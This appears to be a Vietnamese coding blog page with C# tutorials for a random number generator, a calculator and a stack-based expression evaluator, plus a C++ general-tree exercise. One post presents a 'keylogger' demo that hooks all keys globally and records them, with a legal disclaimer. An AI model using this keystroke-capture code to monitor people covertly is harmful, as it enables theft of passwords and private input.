Pages

Thứ Bảy, 23 tháng 4, 2016

C# Tutorial: Random Number Generator

Here is the code

int count; Random rnd = new Random();
///////////////////////////////////////////////
count = 0; label4.Text = ""; timer1.Start();
///////////////////////////////////////////////
++count;
label4.Text = rnd.Next(Convert.ToInt32(textBox1.Text), Convert.ToInt32(textBox2.Text)).ToString();
if (count > Convert.ToInt32(textBox3.Text)) { timer1.Stop(); label4.Text = "Your number is: " + label4.Text; }

Or download the solution

Download

C# Tutorial: Standard Calculator

Here is the code

//System Media //
using System.Media;
//Declaration of variables //
int clear = 1; decimal result, mresult = 0; string op;
//Eval function //
decimal eval(string op)
{
      clear = 1;
      try
      {
           switch (op)
           {
                case "+": result = result + Convert.ToDecimal(label1.Text); break;
                case "-": result = result - Convert.ToDecimal(label1.Text); break;
                case "/": result = result / Convert.ToDecimal(label1.Text); break;
                case "*": result = result * Convert.ToDecimal(label1.Text); break;
                case "Mod": result = result % Convert.ToDecimal(label1.Text); break;
                default: result = Convert.ToDecimal(label1.Text); break;
            }
       }
       catch (System.OverflowException) { label2.Text = ""; label2.Text = "Overflow"; clear = 2; SystemSounds.Asterisk.Play(); }
       catch (System.DivideByZeroException) { label2.Text = ""; label2.Text = "Cannot divide by zero"; clear = 2; SystemSounds.Asterisk.Play(); }
       return result; 
}
//Clear function //
int Clear(int cl)
{
    switch (cl)
    {
        case 1:
        {
             label1.Text = "";
        }break;
        case 2:
        {
            label1.Text = ""; label2.Text = ""; op = "";
        }break;
        case 3:
        {
            label1.Text = ""; label2.Text = label2.Text.Remove(label2.Text.IndexOf('r'));  
        }break;
        case 4:
        {
            label1.Text = ""; label2.Text = label2.Text.Remove(label2.Text.IndexOf('s'));
        }break;
        case 5:
        {
            label1.Text = ""; label2.Text = label2.Text.Remove(label2.Text.LastIndexOf(' ') + 1);
        }break;
    }
    return 0;
}
//Button 0,1,2,3,4,5,6,7,8,9(replace the 0 with the other numbers) //
clear = Clear(clear);
if (label1.Text.Length < 28)
      label1.Text = label1.Text + "0";
else SystemSounds.Beep.Play();
//Button "." //
if (label1.Text.Contains('.'))
{
      SystemSounds.Beep.Play();
}
else label1.Text = label1.Text + ".";
//Button +,-,/,*,Mod(replace the + with the other operators) //
if (clear == 3 || clear == 4 || clear == 5)
      label2.Text = label2.Text + " + ";
else label2.Text = label2.Text + label1.Text + " + ";
label1.Text = eval(op).ToString();
op = "+";
//Button 1/x //
if (label2.Text.Contains("reciproc"))
{
      label2.Text = label2.Text.Insert(label2.Text.IndexOf('r'), "reciproc("); label2.Text = label2.Text.Insert(label2.Text.IndexOf(')'), ")");
}
else label2.Text = label2.Text + "reciproc(" + label1.Text + ")";
label1.Text = (1 / Convert.ToDecimal(label1.Text)).ToString(); clear = 3; 
//Button √ //
if (label2.Text.Contains("sqrt"))
{
     label2.Text = label2.Text.Insert(label2.Text.IndexOf('s'), "sqrt("); label2.Text = label2.Text.Insert(label2.Text.IndexOf(')'), ")");
}
else label2.Text = label2.Text + "sqrt(" + label1.Text + ")";
label1.Text = Math.Sqrt(Convert.ToDouble(label1.Text)).ToString(); clear = 4;
//Button % //
label1.Text = (result * Convert.ToDecimal(label1.Text) / 100).ToString();
label2.Text = label2.Text + label1.Text; clear = 5;
//Button ± //
if (label1.Text.Contains('-'))
{
     label1.Text = label1.Text.Remove(label1.Text.IndexOf('-'), 1);
}
else label1.Text = "-" + label1.Text;
//Button = //
if (clear != 3 && clear != 4 && clear != 5)
        label2.Text = label2.Text + label1.Text;
label1.Text = eval(op).ToString(); clear = 2;
//Button C //
Clear(1); clear = 1; label1.Text = "0";
//Button CE //
Clear(2); clear = 1; label1.Text = "0"; result = 0;
//Button MS //
mresult = Convert.ToDecimal(label1.Text); clear = 1; label3.Text = "M";
//Button MR //
label1.Text = mresult.ToString(); clear = 1;
//Button M+ //
mresult = mresult + Convert.ToDecimal(label1.Text); clear = 1; label3.Text = "M";
//Button M- //
mresult = mresult - Convert.ToDecimal(label1.Text); clear = 1; label3.Text = "M";
//Button MC //
mresult = 0; clear = 1; label3.Text = "";
//Label1 TextChanged Event //
if (label1.Text.Length <= 20)
{
     Font font = new Font("Consolas", 14, FontStyle.Regular); label1.Font = font;
}
else if (label1.Text.Length > 20 && label1.Text.Length <= 26)
{
     Font font = new Font("Consolas", 11, FontStyle.Regular); label1.Font = font;
}
else { Font font = new Font("Consolas", 9, FontStyle.Regular); label1.Font = font; }

C# Tutorial: Arithmetic Expression Evaluator

In this tutorial I use a simple algorithm that was developed by E. W. Dijkstra in the 1960s. In order to evaluate the expression, the algorithm uses two stacks: one for operands and one for operators. An expression consists of parentheses, operators, and operands (numbers). Proceeding from left to right and taking these entities one at a time, we manipulate the stacks according to four possible cases, as follows:
  • Push operands onto the operand stack.
  • Push operators onto the operator stack.
  • Ignore left parentheses.
  • On encountering a right parenthesis, pop an operator, pop the requisite number of operands, and push onto the operand stack the result of applying that operator to those operands.
After the final right parenthesis has been processed, there is one value on the stack, which is the value of the expression.
For the sake of simplicity I use a ConsoleApplication project. Add the following code to your Main() method:
// You must separate operands and operators by a white space
// Otherwise it won't work
string[] Expr = Console.ReadLine().Split(' ');
// The two stacks: one for operators and the other for operands
Stack<string> ops = new Stack<string>();
Stack<double> vals = new Stack<double>();
// The Algorithm
foreach (string item in Expr)
{
    switch (item)
    {
        // If item is operator then push 
        case "(": break;
        case "+": ops.Push(item); break;
        case "-": ops.Push(item); break;
        case "*": ops.Push(item); break;
        case "/": ops.Push(item); break;
        case "mod": ops.Push(item); break;
        case "sqrt": ops.Push(item); break;
        case "^": ops.Push(item); break;
        case ")":
            {
                // Pop, evaluate and push result if item is ")"
                string op = ops.Pop();
                double val = vals.Pop();
                switch (op)
                {
                    case "+": val += vals.Pop(); break;
                    case "-": val = vals.Pop() - val; break;
                    case "*": val *= vals.Pop(); break;
                    case "/": val = vals.Pop() / val; break;
                    case "mod": val = vals.Pop() % val; break;
                    case "sqrt": val = Math.Sqrt(val); break;
                    case "^": val = Math.Pow(vals.Pop(), val); break;
                }
                vals.Push(val);
            } break;
        // If not operator or "(" then push double value
        default: vals.Push(double.Parse(item)); break;
    }
}
// Finally, show the result
Console.Write(vals.Pop());
// Wait for user input
Console.ReadKey();

Ultimate Keylogger - Global KeyBoard Hook [C# Tutorial]

!!! --> First download my GlobalKeyboardHook <-- !!!

Here's how to use it

GlobalKeyboardHook gHook; 
private void Form1_Load(object sender, EventArgs e)
{
   gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
   // Declare a KeyDown Event
   gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
   // Add the keys you want to hook to the HookedKeys list
   foreach (Keys key in Enum.GetValues(typeof(Keys)))
       gHook.HookedKeys.Add(key);
}

// Handle the KeyDown Event
public void gHook_KeyDown(object sender, KeyEventArgs e)
{
   textBox1.Text += ((char)e.KeyValue).ToString();
}

private void button1_Click(object sender, EventArgs e)
{
   gHook.hook();
}

private void button2_Click(object sender, EventArgs e)
{
   gHook.unhook();
}

private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
   gHook.unhook();
}
Using this keylogger to log/record other people's keystrokes without their knowledge can be considered as an illegal activity! It is the final user's responsibility to obey all applicable local,state,and federal laws! This tutorial is intended for educational purpose only! I assume NO liability and I'm NOT responsible for any misuse or damage caused by this keylogger!

Thứ Bảy, 27 tháng 2, 2016

Cấu trúc dữ liệu: Cây tổng quát với kiểu dữ liệu dạng chuỗi ký tự

#include <stdio.h>
#include <iostream>
#include <string>
using namespace std;
#define MaxLength 10
#define NIL -1

typedef string DataType;
typedef int Node;
typedef struct Tree{
    DataType Data[MaxLength];
    Node Parent[MaxLength];
    int MaxNode;
};

void MakeNullTree(Tree &T){
    T.MaxNode = 0;
}
int EmptyTree(Tree T){
    return T.MaxNode == 0;
}

DataType LabelNode(Node i,Tree T){
    return T.Data[i];
}

Node Parent(Node i,Tree T){
    return T.Parent[i];
}
void PrintTree(Tree T){
    for(int i=0;i<T.MaxNode;i++){
        cout<<"Node "<<i<<": ";
        cout<<"P("<<i<<",T) = "<<Parent(i,T)<<" - ";
        cout<<"L("<<i<<",T) = "<<LabelNode(i,T)<<endl;


    }
}
Node LeftMostChild(Node i, Tree T){
    for(Node j=i+1;j<T.MaxNode;j++){
        if (Parent(j,T)==i)
            return j;
    }
    return NIL;
}

Node RightSibling(Node i, Tree T){
    Node p = Parent(i,T);
    for (Node j=i+1;j<T.MaxNode;j++){
        if (p==Parent(j,T))
            return j;
    }
    return NIL;
}
void PrintChilds(Node i, Tree T){
    Node lmc = LeftMostChild(i,T);
    if (lmc == NIL)
        cout<<"Node "<<i<<" khong co con!!";
    else
    {
        cout<<"Danh sach con cua nut "<<i<<endl;
        cout<<lmc<<"  ";
        Node rs = RightSibling(lmc,T);
        while(rs!=NIL){
            cout<<rs<<"  ";
            rs = RightSibling(rs,T);
        }
    }
}
void PreOrder(Node n,Tree T){
    cout<<LabelNode(n,T)<<"  ";
    Node i = LeftMostChild(n,T);
    while(i!=NIL){
        PreOrder(i,T);
        i=RightSibling(i,T);
    }

}
void InOrder(Node n,Tree T){
    Node i = LeftMostChild(n,T);
    if (i!=NIL)
        InOrder(i,T);
    cout<<LabelNode(n,T)<<"  ";
    i = RightSibling(i,T);
    while(i!=NIL){
        InOrder(i,T);
        i = RightSibling(i,T);
    }
}

void PostOrder(Node n,Tree T){
    Node i = LeftMostChild(n,T);
    while(i!=NIL){
        PostOrder(i,T);
        i = RightSibling(i,T);
    }
    cout<<LabelNode(n,T)<<"  ";

}

bool IsPath(Node A, Node B, Tree T){
    Node pB = Parent(B,T);
    if (pB == A || A == B)
        return true;
    else if (pB == NIL)
        return false;
    else
        return IsPath(A,pB,T);
}
int Path(Node A, Node B, Tree T){
    if (!IsPath(A,B,T) || A == B)
        return 0;
    else
        return 1 + Path(A,Parent(B,T),T);
}
bool IsLeaf(Node n, Tree T){
    return LeftMostChild(n,T)==NIL;
}
bool IsAncestor(Node A, Node B, Tree T){
   return IsPath(A,B,T);
}
bool IsDescendant(Node A,Node B, Tree T){
    return IsAncestor(B,A,T);
}
int Height(Node n, Tree T){
    int max = 0;
    for(Node i=n+1;i<T.MaxNode;i++){
        if (IsLeaf(i,T) && IsDescendant(i,n,T))
        {
            int p = Path(n,i,T);
            if (p>max)
                max = p;
        }
    }
    return max;
}
int Depth(Node n, Tree T){
    return Path(0,n,T);
}
Node CommonAncestor(Node A, Node B, Tree T){
    if (A == Parent(B,T))
        return A;
    else if (B == Parent(A,T))
        return B;
    else if (Parent(A,T)==Parent(B,T))
        return Parent(A,T);
    int da = Depth(A,T);
    int db = Depth(B,T);

    if (da>db)
        return CommonAncestor(Parent(A,T),B,T);
    else if (da<db)
        return  CommonAncestor(A,Parent(B,T),T);
    else
        return  CommonAncestor(Parent(A,T),Parent(B,T),T);
}
int main(){
    Tree T;
    MakeNullTree(T);
    string data[10]={"can tho","ninh kieu","ca mau","lam dong","kien giang","hau giang","an giang","soc trang","bac lieu","tra vinh"};
    for(int i=0;i<10;i++)
        T.Data[i]=data[i];
    T.Parent={-1,0,0,1,1,4,4,4,2,2};
    T.MaxNode=10;
    PrintTree(T);
    if (EmptyTree(T))
        cout<<"Cay rong!";
    cout<<"LeftMostChild(8,T) = "<<LeftMostChild(8,T)<<endl;
    cout<<"RightSibling(5,T) = "<<RightSibling(5,T)<<endl;
    PrintChilds(3,T);
    printf("\nDuyet tien tu:\n");
    PreOrder(0,T);
    printf("\nDuyet trung tu:\n");
    InOrder(0,T);
    printf("\nDuyet hau tu:\n");
    PostOrder(0,T);
    cout<<"\nisPath(2,5,T) = "<<IsPath(2,5,T);
    cout<<"\nisPath(1,1,T) = "<<IsPath(1,1,T);
    cout<<"\nisAncestor(1,7,T) = "<<IsAncestor(1,7,T);
    cout<<"\nisAncestor(2,4,T) = "<<IsAncestor(2,4,T);
    cout<<"\nisAncestor(4,2,T) = "<<IsAncestor(4,2,T);
    cout<<"\nisAncestor(0,0,T) = "<<IsAncestor(0,0,T);
    cout<<"\nisDescendant(7,1,T) = "<<IsDescendant(7,1,T);
    cout<<"\nisDescendant(4,2,T) = "<<IsDescendant(4,2,T);
    cout<<"\nisDescendant(5,5,T) = "<<IsDescendant(5,5,T);
    cout<<"\nPath(1,7,T) = "<<Path(1,7,T);
    cout<<"\nHeight(0,T) = "<<Height(0,T);
    cout<<"\nDepth(0,T) = "<<Depth(0,T);
    cout<<"\nDepth(4,T) = "<<Depth(4,T);

    cout<<"\nCommonAncestor(2,8,T) = "<<CommonAncestor(2,8,T);
    cout<<"\nCommonAncestor(8,2,T) = "<<CommonAncestor(8,2,T);
    cout<<"\nCommonAncestor(9,2,T) = "<<CommonAncestor(9,2,T);
    cout<<"\nCommonAncestor(5,8,T) = "<<CommonAncestor(5,8,T);
    cout<<"\nCommonAncestor(8,5,T) = "<<CommonAncestor(8,5,T);
    cout<<"\nCommonAncestor(3,7,T) = "<<CommonAncestor(3,7,T);

    return 0;
}

 

Người đóng góp cho blog

Blogger news

Blogroll

About